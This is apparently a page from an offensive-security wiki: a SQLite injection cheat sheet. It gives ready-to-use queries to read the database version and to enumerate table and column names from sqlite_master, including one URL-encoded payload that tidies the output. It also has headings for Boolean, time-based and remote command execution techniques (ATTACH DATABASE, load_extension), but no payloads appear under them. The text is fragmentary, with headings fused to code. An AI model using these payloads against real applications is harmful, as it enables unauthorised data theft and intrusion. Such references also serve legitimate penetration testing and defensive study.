SQLite
SQLite comments
--
/**/SQLite version
select sqlite_version();Integer/String based - Extract table name
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'Use limit X+1 offset X, to extract all tables.
Integer/String based - Extract column name
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'For a clean output
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'Boolean - Count number of tables
Boolean - Enumerating table name
Boolean - Extract info
Time based
Remote Command Execution using SQLite command - Attach Database
Remote Command Execution using SQLite command - Load_extension
Note: By default this component is disabled
References
Injecting SQLite database based application - Manish Kishan Tanwar
Last updated
Was this helpful?